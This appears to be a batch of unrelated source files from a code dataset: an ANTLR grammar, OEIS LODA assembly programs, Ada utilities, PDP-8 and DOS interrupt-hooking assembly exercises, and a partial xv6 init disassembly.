/* * Copyright 2021-2022 Aklivity Inc. * * Aklivity licenses this file to you under the Apache License, * version 2.0 (the "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at: * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. */ grammar Cog; specification : scope ; scope : KW_SCOPE ID LEFT_BRACE option * definition * RIGHT_BRACE ; option : KW_OPTION optionByteOrder SEMICOLON ; optionByteOrder : KW_BYTEORDER (KW_NATIVE | KW_NETWORK) ; scoped_name : (DOUBLE_COLON)? ID (DOUBLE_COLON ID)* ; definition : type_decl | scope ; positive_int_const : HEX_LITERAL | UNSIGNED_INTEGER_LITERAL ; type_decl : constr_type_spec ; type_declarator : type_spec declarators ; type_spec : simple_type_spec | constr_type_spec ; simple_type_spec : base_type_spec | scoped_name ; base_type_spec : integer_type | octets_type | string8_type | string16_type | string32_type | varstring_type ; constr_type_spec : enum_type | struct_type | list_type | union_type | variant_type | typedef_type | map_type ; declarators : declarator (COMMA declarator)* ; declarator : ID ; integer_type : signed_integer_type | unsigned_integer_type ; signed_integer_type : int8_type | int16_type | int24_type | int32_type | int64_type | varint32_type | varint64_type | varuint32n_type ; unsigned_integer_type : uint8_type | uint16_type | uint24_type | uint32_type | uint64_type | varuint32_type ; int8_type : KW_INT8 ; int16_type : KW_INT16 ; int24_type : KW_INT24 ; int32_type : KW_INT32 ; int64_type : KW_INT64 ; uint8_type : KW_UINT8 ; uint16_type : KW_UINT16 ; uint24_type : KW_UINT24 ; uint32_type : KW_UINT32 ; uint64_type : KW_UINT64 ; varuint32_type : KW_VARUINT32 ; varuint32n_type : KW_VARUINT32N ; varint32_type : KW_VARINT32 ; varint64_type : KW_VARINT64 ; octets_type : KW_OCTETS LEFT_SQUARE_BRACKET (positive_int_const | ID) RIGHT_SQUARE_BRACKET ; unbounded_octets_type : KW_OCTETS ; enum_type : KW_ENUM ID (LEFT_BRACKET enum_explicit_type RIGHT_BRACKET)? LEFT_BRACE enum_values RIGHT_BRACE ; enum_explicit_type : int8_type | int16_type | int24_type | int32_type | int64_type | unsigned_integer_type | string8_type | string16_type | string32_type | declarator ; enum_values : enum_value_non_terminal * enum_value_terminal ; enum_value_non_terminal : enum_value COMMA ; enum_value_terminal : enum_value ; enum_value : ID (LEFT_BRACKET (int_literal | string_literal) RIGHT_BRACKET)? ; struct_type : KW_STRUCT ID (KW_EXTENDS scoped_name)? (LEFT_SQUARE_BRACKET type_id RIGHT_SQUARE_BRACKET)? LEFT_BRACE member_list RIGHT_BRACE ; type_id : uint_literal ; member_list : member * unbounded_member? ; member : type_spec declarators SEMICOLON | uint_member_with_default SEMICOLON | int_member_with_default SEMICOLON | string_member_with_default SEMICOLON | string_member_with_null_default SEMICOLON | octets_member_with_default SEMICOLON | enum_member_with_default SEMICOLON | integer_array_member SEMICOLON | varint_array_member SEMICOLON | array_member SEMICOLON ; uint_member_with_default : unsigned_integer_type declarator EQUALS uint_literal ; int_member_with_default : signed_integer_type declarator EQUALS int_literal ; string_member_with_default : string8_type declarator EQUALS string_literal | string16_type declarator EQUALS string_literal | string32_type declarator EQUALS string_literal | varstring_type declarator EQUALS string_literal ; string_member_with_null_default : string8_type declarator default_null | string16_type declarator default_null | string32_type declarator default_null | varstring_type declarator default_null ; octets_member_with_default : octets_type declarator default_null ; enum_member_with_default : scoped_name declarator EQUALS ID ; integer_array_member : int8_type LEFT_SQUARE_BRACKET (positive_int_const | ID) RIGHT_SQUARE_BRACKET declarator default_null? | int16_type LEFT_SQUARE_BRACKET (positive_int_const | ID) RIGHT_SQUARE_BRACKET declarator default_null? | int24_type LEFT_SQUARE_BRACKET (positive_int_const | ID) RIGHT_SQUARE_BRACKET declarator default_null? | int32_type LEFT_SQUARE_BRACKET (positive_int_const | ID) RIGHT_SQUARE_BRACKET declarator default_null? | int64_type LEFT_SQUARE_BRACKET (positive_int_const | ID) RIGHT_SQUARE_BRACKET declarator default_null? | uint8_type LEFT_SQUARE_BRACKET (positive_int_const | ID) RIGHT_SQUARE_BRACKET declarator default_null? | uint16_type LEFT_SQUARE_BRACKET (positive_int_const | ID) RIGHT_SQUARE_BRACKET declarator default_null? | uint24_type LEFT_SQUARE_BRACKET (positive_int_const | ID) RIGHT_SQUARE_BRACKET declarator default_null? | uint32_type LEFT_SQUARE_BRACKET (positive_int_const | ID) RIGHT_SQUARE_BRACKET declarator default_null? | uint64_type LEFT_SQUARE_BRACKET (positive_int_const | ID) RIGHT_SQUARE_BRACKET declarator default_null? ; varint_array_member : varint32_type LEFT_SQUARE_BRACKET RIGHT_SQUARE_BRACKET declarator default_null? | varint64_type LEFT_SQUARE_BRACKET RIGHT_SQUARE_BRACKET declarator default_null? ; array_member : array_type declarators ; default_null : '= null' ; list_type : KW_LIST (list_params)? ID (list_using)? LEFT_BRACE list_members RIGHT_BRACE ; list_params : LEFT_ANG_BRACKET unsigned_integer_type COMMA unsigned_integer_type (COMMA uint_literal)? RIGHT_ANG_BRACKET ; list_using : KW_USING declarator ; list_members : list_member* list_unbounded_member? ; list_member : KW_REQUIRED? type_spec declarators SEMICOLON | uint_member_with_default SEMICOLON | int_member_with_default SEMICOLON | octets_member_with_default SEMICOLON | non_primitive_member_with_default SEMICOLON | KW_REQUIRED? integer_array_member SEMICOLON | KW_REQUIRED? varint_array_member SEMICOLON | KW_REQUIRED? array_member SEMICOLON | KW_REQUIRED? member_with_parametric_type SEMICOLON ; non_primitive_member_with_default : type_spec declarator EQUALS (ID | int_literal) ; list_unbounded_member : KW_REQUIRED? unbounded_octets_member ; unbounded_member : unbounded_octets_member ; unbounded_octets_member : unbounded_octets_type declarators SEMICOLON ; member_with_parametric_type : membertype=declarator LEFT_ANG_BRACKET param1=declarator (COMMA param2=declarator)? RIGHT_ANG_BRACKET name=declarator ; map_type : KW_MAP ID LEFT_ANG_BRACKET keytype=scoped_name COMMA valuetype=scoped_name RIGHT_ANG_BRACKET KW_USING templatetype=scoped_name SEMICOLON ; union_type : KW_UNION ID KW_SWITCH LEFT_BRACKET (KW_UINT8 | kindtype=scoped_name) RIGHT_BRACKET (KW_EXTENDS supertype=scoped_name)? LEFT_BRACE case_list RIGHT_BRACE ; case_list : case_member * ; case_member : KW_CASE (uint_literal | ID) COLON member ; variant_type : KW_VARIANT ID KW_SWITCH LEFT_BRACKET kind RIGHT_BRACKET KW_OF variant_of_type LEFT_BRACE variant_case_list RIGHT_BRACE | KW_VARIANT ID KW_SWITCH LEFT_BRACKET kind RIGHT_BRACKET LEFT_BRACE variant_case_list_without_of RIGHT_BRACE ; kind : KW_UINT8 | scoped_name ; variant_of_type : integer_type | string_type | list_keyword | array_keyword | map_keyword | octets_keyword ; variant_case_list : variant_case_member * ; variant_case_list_without_of : (variant_case_member_no_type * variant_case_member_without_of +) + ; variant_case_member : KW_CASE variant_case_value COLON variant_member SEMICOLON ; variant_case_member_no_type : KW_CASE variant_case_value COLON ; variant_case_member_without_of : KW_CASE variant_case_value COLON variant_member_without_of SEMICOLON ; variant_case_value : uint_literal | declarator ; variant_member : integer_type | string8_type | string16_type | string32_type | variant_int_literal | variant_list_member | variant_array_member | variant_map_member | variant_octets_member | defined_variant_member ; variant_member_without_of : variant_member | defined_variant_member | defined_variant_member_with_parametric_type ; defined_variant_member : declarator ; defined_variant_member_with_parametric_type : membertype=declarator LEFT_ANG_BRACKET param1=declarator (COMMA param2=declarator)? RIGHT_ANG_BRACKET ; variant_list_member : KW_LIST LEFT_ANG_BRACKET uint32_type COMMA uint32_type (COMMA uint_literal)? RIGHT_ANG_BRACKET | KW_LIST LEFT_ANG_BRACKET uint8_type COMMA uint8_type (COMMA uint_literal)? RIGHT_ANG_BRACKET | KW_LIST LEFT_ANG_BRACKET UNSIGNED_INTEGER_LITERAL COMMA UNSIGNED_INTEGER_LITERAL RIGHT_ANG_BRACKET ; variant_array_member : KW_ARRAY LEFT_ANG_BRACKET uint32_type COMMA uint32_type RIGHT_ANG_BRACKET | KW_ARRAY LEFT_ANG_BRACKET uint16_type COMMA uint16_type RIGHT_ANG_BRACKET | KW_ARRAY LEFT_ANG_BRACKET uint8_type COMMA uint8_type RIGHT_ANG_BRACKET ; variant_map_member : KW_MAP LEFT_ANG_BRACKET uint32_type RIGHT_ANG_BRACKET | KW_MAP LEFT_ANG_BRACKET uint16_type RIGHT_ANG_BRACKET | KW_MAP LEFT_ANG_BRACKET uint8_type RIGHT_ANG_BRACKET ; variant_octets_member : KW_OCTETS LEFT_SQUARE_BRACKET uint32_type RIGHT_SQUARE_BRACKET | KW_OCTETS LEFT_SQUARE_BRACKET uint16_type RIGHT_SQUARE_BRACKET | KW_OCTETS LEFT_SQUARE_BRACKET uint8_type RIGHT_SQUARE_BRACKET ; typedef_type : KW_TYPEDEF originaltype=ID KW_AS typedeftype=ID SEMICOLON | KW_TYPEDEF originaltype=ID LEFT_ANG_BRACKET keytype=ID COMMA valuetype=ID RIGHT_ANG_BRACKET KW_AS typedeftype=ID LEFT_ANG_BRACKET valuetype=ID RIGHT_ANG_BRACKET SEMICOLON ; array_type : simple_type_spec LEFT_SQUARE_BRACKET RIGHT_SQUARE_BRACKET ; map_keyword : KW_MAP ; string_type : KW_STRING ; string8_type : /* KW_STRING LEFT_ANG_BRACKET positive_int_const RIGHT_ANG_BRACKET | */ KW_STRING8 ; string16_type : /* KW_STRING16 LEFT_ANG_BRACKET positive_int_const RIGHT_ANG_BRACKET | */ KW_STRING16 ; string32_type : KW_STRING32 ; varstring_type : KW_VARSTRING ; list_keyword : KW_LIST ; array_keyword : KW_ARRAY ; octets_keyword : KW_OCTETS LEFT_SQUARE_BRACKET RIGHT_SQUARE_BRACKET ; int_literal : MINUS ? uint_literal ; uint_literal : UNSIGNED_INTEGER_LITERAL | HEX_LITERAL ; string_literal : STRING_LITERAL ; variant_int_literal : UNSIGNED_INTEGER_LITERAL ; UNSIGNED_INTEGER_LITERAL : ('0' | '1' .. '9' '0' .. '9'*) INTEGER_TYPE_SUFFIX? ; HEX_LITERAL : '0' ('x' | 'X') HEX_DIGIT+ INTEGER_TYPE_SUFFIX? ; STRING_LITERAL : QUOTE (~["\r\n])* QUOTE ; fragment HEX_DIGIT : ('0' .. '9' | 'a' .. 'f' | 'A' .. 'F' | '_') ; fragment INTEGER_TYPE_SUFFIX : ('l' | 'L') ; fragment LETTER : '\u0024' | '\u0041' .. '\u005a' | '\u005f' | '\u0061' .. '\u007a' | '\u00c0' .. '\u00d6' | '\u00d8' .. '\u00f6' | '\u00f8' .. '\u00ff' | '\u0100' .. '\u1fff' | '\u3040' .. '\u318f' | '\u3300' .. '\u337f' | '\u3400' .. '\u3d2d' | '\u4e00' .. '\u9fff' | '\uf900' .. '\ufaff' ; fragment ID_DIGIT : '\u0030' .. '\u0039' | '\u0660' .. '\u0669' | '\u06f0' .. '\u06f9' | '\u0966' .. '\u096f' | '\u09e6' .. '\u09ef' | '\u0a66' .. '\u0a6f' | '\u0ae6' .. '\u0aef' | '\u0b66' .. '\u0b6f' | '\u0be7' .. '\u0bef' | '\u0c66' .. '\u0c6f' | '\u0ce6' .. '\u0cef' | '\u0d66' .. '\u0d6f' | '\u0e50' .. '\u0e59' | '\u0ed0' .. '\u0ed9' | '\u1040' .. '\u1049' ; MINUS : '-' ; SEMICOLON : ';' ; COLON : ':' ; COMMA : ',' ; EQUALS : '=' ; LEFT_BRACE : '{' ; RIGHT_BRACE : '}' ; LEFT_SQUARE_BRACKET : '[' ; RIGHT_SQUARE_BRACKET : ']' ; LEFT_BRACKET : '(' ; RIGHT_BRACKET : ')' ; QUOTE : '"' ; SLASH : '/' ; LEFT_ANG_BRACKET : '<' ; RIGHT_ANG_BRACKET : '>' ; DOUBLE_COLON : '::' ; KW_STRING : 'string' ; KW_STRING8 : 'string8' ; KW_STRING16 : 'string16' ; KW_STRING32 : 'string32' ; KW_VARSTRING : 'varstring' ; KW_SWITCH : 'switch' ; KW_OF : 'of' ; KW_CASE : 'case' ; KW_DEFAULT : 'default' ; KW_LIST : 'list' ; KW_USING : 'using' ; KW_ARRAY : 'array' ; KW_MAP : 'map' ; KW_REQUIRED : 'required' ; KW_OCTETS : 'octets' ; KW_ENUM : 'enum' ; KW_STRUCT : 'struct' ; KW_EXTENDS : 'extends' ; KW_READONLY : 'readonly' ; KW_INT8 : 'int8' ; KW_INT16 : 'int16' ; KW_INT24 : 'int24' ; KW_INT32 : 'int32' ; KW_INT64 : 'int64' ; KW_UINT8 : 'uint8' ; KW_UINT16 : 'uint16' ; KW_UINT24 : 'uint24' ; KW_UINT32 : 'uint32' ; KW_UINT64 : 'uint64' ; KW_VARUINT32 : 'varuint32' ; KW_VARUINT32N : 'varuint32n' ; KW_VARINT32 : 'varint32' ; KW_VARINT64 : 'varint64' ; KW_UNION : 'union' ; KW_VARIANT : 'variant' ; KW_TYPEDEF : 'typedef' ; KW_AS : 'as' ; KW_SCOPE : 'scope' ; KW_OPTION : 'option' ; KW_BYTEORDER : 'byteorder' ; KW_NATIVE : 'native' ; KW_NETWORK : 'network' ; ID : LETTER (LETTER | ID_DIGIT)* ; WS : (' ' | '\r' | '\t' | '\u000C' | '\n') -> channel (HIDDEN) ; COMMENT : '/*' .*? '*/' -> channel (HIDDEN) ; LINE_COMMENT : '//' ~ ('\n' | '\r')* '\r'? '\n' -> channel (HIDDEN) ;
oeis/042/A042510.asm
neoneye/loda-programs
11
247593
<reponame>neoneye/loda-programs ; A042510: Numerators of continued fraction convergents to sqrt(783). ; Submitted by <NAME> ; 27,28,1539,1567,86157,87724,4823253,4910977,270016011,274926988,15116073363,15391000351,846230092317,861621092668,47373769096389,48235390189057,2652084839305467,2700320229494524,148469377232009763,151169697461504287,8311633040153241261,8462802737614745548,465302980871349500853,473765783608964246401,26048655295755418806507,26522421079364383052908,1458259393581432103663539,1484781814660796486716447,81636477385264442386351677,83121259199925238873068124,4570184474181227341532030373 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 dif $2,9 mul $2,9 dif $2,6 mul $2,3 add $3,$2 lpe mov $0,$3
src/risi_script-types-implementation-image_operations.adb
OneWingedShark/Risi
1
14343
With System.Address_Image, Ada.Strings.Fixed, Ada.Strings.Unbounded; Separate(Risi_Script.Types.Implementation) Package Body Image_Operations is ------------------------- -- UTILITY FUNCTIONS -- ------------------------- Function Trim( S : String ) return String is Use Ada.Strings.Fixed, Ada.Strings; begin Return Trim(Side => Left, Source => S); end Trim; Function Trim( S : String ) return Ada.Strings.Unbounded.Unbounded_String is Use Ada.Strings.Unbounded; begin Return To_Unbounded_String( Trim(S) ); end Trim; ---------------------------- -- IMAGE IMPLEMENTATIONS -- ---------------------------- Function Static_Dispatch_Image( Elem : Representation ) return String is (case Get_Enumeration(Elem) is when RT_Integer => Image(Elem.Integer_Value), when RT_Array => Image(Elem.Array_Value), when RT_Hash => Image(Elem.Hash_Value), when RT_String => Image(Elem.String_Value), when RT_Real => Image(Elem.Real_Value), when RT_Pointer => Image(Elem.Pointer_Value), when RT_Reference => Image_Operations.Image(Elem.Reference_Value), when RT_Fixed => Image(Elem.Fixed_Value), when RT_Boolean => Image(Elem.Boolean_value), when RT_Func => Image(Elem.Func_Value) ); Function Image(Item : Integer_Type) return String is ( Trim( Integer_Type'Image(Item) ) ); Function Image(Item : Array_Type) return String is Use Ada.Strings.Unbounded, List; Working : Unbounded_String; begin for E in Item.Iterate loop declare Key : constant Natural := To_Index( E ); Last : constant Boolean := Key = Item.Last_Index; Elem : Representation renames Element(E); Item : constant string := Static_Dispatch_Image( Elem ); begin Append( Source => Working, New_Item => Item & (if not Last then ", " else "") ); end; end loop; return To_String( Working ); end Image; Function Image(Item : Hash_Type) return String is Use Ada.Strings.Unbounded, Hash; Working : Unbounded_String; begin for E in Item.Iterate loop declare Key : constant String := '"' & Hash.Key( E ) & '"'; Last : constant Boolean := E = Item.Last; Elem : Representation renames Element(E); Item : constant string := (case Get_Enumeration(Elem) is when RT_Integer => Image(Elem.Integer_Value), when RT_Array => Image(Elem.Array_Value), when RT_Hash => Image(Elem.Hash_Value), when RT_String => Image(Elem.String_Value), when RT_Real => Image(Elem.Real_Value), when RT_Pointer => Image(Elem.Pointer_Value), when RT_Reference => Image_Operations.Image(Elem.Reference_Value), when RT_Fixed => Image(Elem.Fixed_Value), when RT_Boolean => Image(Elem.Boolean_value), when RT_Func => Image(Elem.Func_Value) ); begin Append( Source => Working, New_Item => Key & " => " & Item & (if not Last then ", " else "") ); end; end loop; return To_String( Working ); end Image; Function Image(Item : String_Type) return String renames Ada.Strings.Unbounded.To_String; Function Image(Item : Real_Type) return String is ( Trim( Real_Type'Image(Item) ) ); Function Image(Item : Pointer_Type) return String is ( System.Address_Image( System.Address(Item) ) ); Function Image(Item : Fixed_Type) return String is ( Trim( Fixed_Type'Image(Item) ) ); Function Image(Item : Boolean_Type) return String is ( Boolean_Type'Image(Item) ); Function Image(Item : Func_Type) return String is (""); Function Image(Item : Reference_Type ) return String is (case Get_Enumeration(Item) is when RT_Integer => Image( Item.Integer_Value ), when RT_Array => Image( Item.Array_Value ), when RT_Hash => Image( Item.Hash_Value ), when RT_String => Image( Item.String_Value ), when RT_Real => Image( Item.Real_Value ), when RT_Pointer => Image( Item.Pointer_Value ), when RT_Reference => Types.Implementation.Image( Item.Reference_Value ), when RT_Fixed => Image( Item.Fixed_Value ), when RT_Boolean => Image( Item.Boolean_Value ), when RT_Func => Image( Item.Func_Value ) ); End Image_Operations;
programs/oeis/003/A003231.asm
neoneye/loda
22
87940
<gh_stars>10-100 ; A003231: a(n) = floor(n*(sqrt(5)+5)/2). ; 3,7,10,14,18,21,25,28,32,36,39,43,47,50,54,57,61,65,68,72,75,79,83,86,90,94,97,101,104,108,112,115,119,123,126,130,133,137,141,144,148,151,155,159,162,166,170,173,177,180,184,188,191,195,198,202,206,209 add $0,1 mov $1,$0 mul $0,2 seq $1,66096 ; Duplicate values in A060143. add $0,$1
ESEMPI/13 PROGRAMMA MAX.asm
Porchetta/py-pdp8-tk
8
19496
<reponame>Porchetta/py-pdp8-tk ORG 400 /Mette in RIS il più grande tra A,B,C,D LDA A CMA INC ADD B SPA BUN H ADD A STA A H, LDA C CMA INC ADD D SPA BUN K ADD C STA C K, LDA A CMA INC ADD C SPA BUN S ADD A STA A S, LDA A STA RIS HLT A, DEC 10 B, DEC 5 C, DEC 3 D, DEC 7 RIS, DEC 0 END
assembly_code/chp8_01.asm
Nabeegh-Ahmed/BelalHashmi-Assembly-Exercise-Solutions
104
23911
[org 0x0100] jmp start isTSR: dw 0 oldISR: dd 0 ;-------------------------------------------------------------------------- myISR: cmp ah, 0x31 ;Agar tw 0x31 wali service call huwi tw kuch kaam karo, nahi tw humein koi kaam karney ki zaroorat ;hi nahi because hum ne tw sirf 31h wali service pe kaam karna hai jnz chain cmp word [cs:isTSR], 0 ;Agar tw humari myISR TSR ban chuki hai, phir ab kisi aur naye program ko TSR nahi banney dena jz makeitTSR ;Lekin agar humari myISR TSR nahi bani, tw pehley usey TSR banao mov ah, 0x4c chain: jmp far [cs:oldISR] makeitTSR: mov word [cs:isTSR], 1 jmp far [cs:oldISR] ;--------------------------------------------------------------------------- start: xor ax,ax mov es,ax ;Saving the OLD ISR mov ax, [es:21h*4] mov [oldISR], ax mov ax, [es:21h*4 + 2] mov [oldISR + 2], ax ;Hooking our ISR mov word [es:21h*4], myISR mov word [es:21h*4+2], cs mov dx, start add dx, 15 mov cl, 4 shr dx, cl exit: mov ax, 0x3100 int 21h
Exemplos ADA/MultiplicaMatriz/MultiplicaMatriz.adb
wildeee/safADA
0
1055
With Ada.Text_IO; Use Ada.Text_IO; Procedure MultiplicaMatriz is type Integer_Matrix is array (Integer range <>, Integer range <>) of Integer'Base; matriz1 : Integer_Matrix(1..3, 1..2); matriz2 : Integer_Matrix(1..2, 1..3); resultado: Integer_Matrix(1..3, 1..3); -- Leitura String function Get_String return String is Line : String (1 .. 1_000); Last : Natural; begin Get_Line (Line, Last); return Line (1 .. Last); end Get_String; -- Leitura Integer function Get_Integer return Integer is S : constant String := Get_String; begin return Integer'Value (S); end Get_Integer; -- Lê 15 elementos do array procedure Faz_Leitura is begin for L in Integer range 1 .. 3 loop for C in Integer range 1 .. 2 loop matriz1(L, C) := Get_Integer; end loop; end loop; for L in Integer range 1 .. 2 loop for C in Integer range 1 .. 3 loop matriz2(L, C) := Get_Integer; end loop; end loop; end Faz_Leitura; procedure Print_Resultado is begin for L in Integer range 1 .. 3 loop for C in Integer range 1 .. 3 loop Put(Integer'Image(resultado(L, C))); Put(" "); end loop; Put_Line(""); end loop; end Print_Resultado; procedure Inicializa is begin for I in Integer range 1 .. 3 loop for J in Integer range 1 .. 3 loop resultado(I, J) := 0; end loop; end loop; end Inicializa; procedure Multiplica is begin for I in Integer range 1 .. 3 loop for J in Integer range 1 .. 3 loop for K in Integer range 1 .. 2 loop resultado(I, J) := resultado(I, J) + matriz1(I, K) * matriz2(K, J); end loop; end loop; end loop; end Multiplica; begin Faz_Leitura; Inicializa; Multiplica; Print_Resultado; end MultiplicaMatriz;
init.asm
dylsugar/cs461_hw5
0
103399
_init: file format elf64-x86-64 Disassembly of section .text: 0000000000001000 <main>: char *argv[] = { "sh", 0 }; int main(void) { 1000: f3 0f 1e fa endbr64 1004: 55 push %rbp 1005: 48 89 e5 mov %rsp,%rbp 1008: 48 83 ec 10 sub $0x10,%rsp int pid, wpid; if(open("console", O_RDWR) < 0){ 100c: be 02 00 00 00 mov $0x2,%esi 1011: 48 bf e3 1e 00 00 00 movabs $0x1ee3,%rdi 1018: 00 00 00 101b: 48 b8 2c 15 00 00 00 movabs $0x152c,%rax 1022: 00 00 00 1025: ff d0 callq *%rax 1027: 85 c0 test %eax,%eax 1029: 79 3b jns 1066 <main+0x66> mknod("console", 1, 1); 102b: ba 01 00 00 00 mov $0x1,%edx 1030: be 01 00 00 00 mov $0x1,%esi 1035: 48 bf e3 1e 00 00 00 movabs $0x1ee3,%rdi 103c: 00 00 00 103f: 48 b8 39 15 00 00 00 movabs $0x1539,%rax 1046: 00 00 00 1049: ff d0 callq *%rax open("console", O_RDWR); 104b: be 02 00 00 00 mov $0x2,%esi 1050: 48 bf e3 1e 00 00 00 movabs $0x1ee3,%rdi 1057: 00 00 00 105a: 48 b8 2c 15 00 00 00 movabs $0x152c,%rax 1061: 00 00 00 1064: ff d0 callq *%rax } dup(0); // stdout 1066: bf 00 00 00 00 mov $0x0,%edi 106b: 48 b8 87 15 00 00 00 movabs $0x1587,%rax 1072: 00 00 00 1075: ff d0 callq *%rax dup(0); // stderr 1077: bf 00 00 00 00 mov $0x0,%edi 107c: 48 b8 87 15 00 00 00 movabs $0x1587,%rax 1083: 00 00 00 1086: ff d0 callq *%rax for(;;){ printf(1, "init: starting sh\n"); 1088: 48 be eb 1e 00 00 00 movabs $0x1eeb,%rsi 108f: 00 00 00 1092: bf 01 00 00 00 mov $0x1,%edi 1097: b8 00 00 00 00 mov $0x0,%eax 109c: 48 ba c8 17 00 00 00 movabs $0x17c8,%rdx 10a3: 00 00 00 10a6: ff d2 callq *%rdx pid = fork(); 10a8: 48 b8 b7 14 00 00 00 movabs $0x14b7,%rax 10af: 00 00 00 10b2: ff d0 callq *%rax 10b4: 89 45 fc mov %eax,-0x4(%rbp) if(pid < 0){ 10b7: 83 7d fc 00 cmpl $0x0,-0x4(%rbp) 10bb: 79 2c jns 10e9 <main+0xe9> printf(1, "init: fork failed\n"); 10bd: 48 be fe 1e 00 00 00 movabs $0x1efe,%rsi 10c4: 00 00 00 10c7: bf 01 00 00 00 mov $0x1,%edi 10cc: b8 00 00 00 00 mov $0x0,%eax 10d1: 48 ba c8 17 00 00 00 movabs $0x17c8,%rdx 10d8: 00 00 00 10db: ff d2 callq *%rdx exit(); 10dd: 48 b8 c4 14 00 00 00 movabs $0x14c4,%rax 10e4: 00 00 00 10e7: ff d0 callq *%rax } if(pid == 0){ 10e9: 83 7d fc 00 cmpl $0x0,-0x4(%rbp) 10ed: 75 6c jne 115b <main+0x15b> exec("sh", argv); 10ef: 48 be 60 22 00 00 00 movabs $0x2260,%rsi 10f6: 00 00 00 10f9: 48 bf e0 1e 00 00 00 movabs $0x1ee0,%rdi 1100: 00 00 00 1103: 48 b8 1f 15 00 00 00 movabs $0x151f,%rax 110a: 00 00 00 110d: ff d0 callq *%rax printf(1, "init: exec sh failed\n"); 110f: 48 be 11 1f 00 00 00 movabs $0x1f11,%rsi 1116: 00 00 00 1119: bf 01 00 00 00 mov $0x1,%edi 111e: b8 00 00 00 00 mov $0x0,%eax 1123: 48 ba c8 17 00 00 00 movabs $0x17c8,%rdx 112a: 00 00 00 112d: ff d2 callq *%rdx exit(); 112f: 48 b8 c4 14 00 00 00 movabs $0x14c4,%rax 1136: 00 00 00 1139: ff d0 callq *%rax } while((wpid=wait()) >= 0 && wpid != pid) printf(1, "zombie!\n"); 113b: 48 be 27 1f 00 00 00 movabs $0x1f27,%rsi 1142: 00 00 00 1145: bf 01 00 00 00 mov $0x1,%edi 114a: b8 00 00 00 00 mov $0x0,%eax 114f: 48 ba c8 17 00 00 00 movabs $0x17c8,%rdx 1156: 00 00 00 1159: ff d2 callq *%rdx while((wpid=wait()) >= 0 && wpid != pid) 115b: 48 b8 d1 14 00 00 00 movabs $0x14d1,%rax 1162: 00 00 00 1165: ff d0 callq *%rax 1167: 89 45 f8 mov %eax,-0x8(%rbp) 116a: 83 7d f8 00 cmpl $0x0,-0x8(%rbp) 116e: 0f 88 14 ff ff ff js 1088 <main+0x88> 1174: 8b 45 f8 mov -0x8(%rbp),%eax 1177: 3b 45 fc cmp -0x4(%rbp),%eax 117a: 75 bf jne 113b <main+0x13b> printf(1, "init: starting sh\n"); 117c: e9 07 ff ff ff jmpq 1088 <main+0x88> 0000000000001181 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 1181: f3 0f 1e fa endbr64 1185: 55 push %rbp 1186: 48 89 e5 mov %rsp,%rbp 1189: 48 83 ec 10 sub $0x10,%rsp 118d: 48 89 7d f8 mov %rdi,-0x8(%rbp) 1191: 89 75 f4 mov %esi,-0xc(%rbp) 1194: 89 55 f0 mov %edx,-0x10(%rbp) asm volatile("cld; rep stosb" : 1197: 48 8b 4d f8 mov -0x8(%rbp),%rcx 119b: 8b 55 f0 mov -0x10(%rbp),%edx 119e: 8b 45 f4 mov -0xc(%rbp),%eax 11a1: 48 89 ce mov %rcx,%rsi 11a4: 48 89 f7 mov %rsi,%rdi 11a7: 89 d1 mov %edx,%ecx 11a9: fc cld 11aa: f3 aa rep stos %al,%es:(%rdi) 11ac: 89 ca mov %ecx,%edx 11ae: 48 89 fe mov %rdi,%rsi 11b1: 48 89 75 f8 mov %rsi,-0x8(%rbp) 11b5: 89 55 f0 mov %edx,-0x10(%rbp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 11b8: 90 nop 11b9: c9 leaveq 11ba: c3 retq 00000000000011bb <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 11bb: f3 0f 1e fa endbr64 11bf: 55 push %rbp 11c0: 48 89 e5 mov %rsp,%rbp 11c3: 48 83 ec 20 sub $0x20,%rsp 11c7: 48 89 7d e8 mov %rdi,-0x18(%rbp) 11cb: 48 89 75 e0 mov %rsi,-0x20(%rbp) char *os; os = s; 11cf: 48 8b 45 e8 mov -0x18(%rbp),%rax 11d3: 48 89 45 f8 mov %rax,-0x8(%rbp) while((*s++ = *t++) != 0) 11d7: 90 nop 11d8: 48 8b 55 e0 mov -0x20(%rbp),%rdx 11dc: 48 8d 42 01 lea 0x1(%rdx),%rax 11e0: 48 89 45 e0 mov %rax,-0x20(%rbp) 11e4: 48 8b 45 e8 mov -0x18(%rbp),%rax 11e8: 48 8d 48 01 lea 0x1(%rax),%rcx 11ec: 48 89 4d e8 mov %rcx,-0x18(%rbp) 11f0: 0f b6 12 movzbl (%rdx),%edx 11f3: 88 10 mov %dl,(%rax) 11f5: 0f b6 00 movzbl (%rax),%eax 11f8: 84 c0 test %al,%al 11fa: 75 dc jne 11d8 <strcpy+0x1d> ; return os; 11fc: 48 8b 45 f8 mov -0x8(%rbp),%rax } 1200: c9 leaveq 1201: c3 retq 0000000000001202 <strcmp>: int strcmp(const char *p, const char *q) { 1202: f3 0f 1e fa endbr64 1206: 55 push %rbp 1207: 48 89 e5 mov %rsp,%rbp 120a: 48 83 ec 10 sub $0x10,%rsp 120e: 48 89 7d f8 mov %rdi,-0x8(%rbp) 1212: 48 89 75 f0 mov %rsi,-0x10(%rbp) while(*p && *p == *q) 1216: eb 0a jmp 1222 <strcmp+0x20> p++, q++; 1218: 48 83 45 f8 01 addq $0x1,-0x8(%rbp) 121d: 48 83 45 f0 01 addq $0x1,-0x10(%rbp) while(*p && *p == *q) 1222: 48 8b 45 f8 mov -0x8(%rbp),%rax 1226: 0f b6 00 movzbl (%rax),%eax 1229: 84 c0 test %al,%al 122b: 74 12 je 123f <strcmp+0x3d> 122d: 48 8b 45 f8 mov -0x8(%rbp),%rax 1231: 0f b6 10 movzbl (%rax),%edx 1234: 48 8b 45 f0 mov -0x10(%rbp),%rax 1238: 0f b6 00 movzbl (%rax),%eax 123b: 38 c2 cmp %al,%dl 123d: 74 d9 je 1218 <strcmp+0x16> return (uchar)*p - (uchar)*q; 123f: 48 8b 45 f8 mov -0x8(%rbp),%rax 1243: 0f b6 00 movzbl (%rax),%eax 1246: 0f b6 d0 movzbl %al,%edx 1249: 48 8b 45 f0 mov 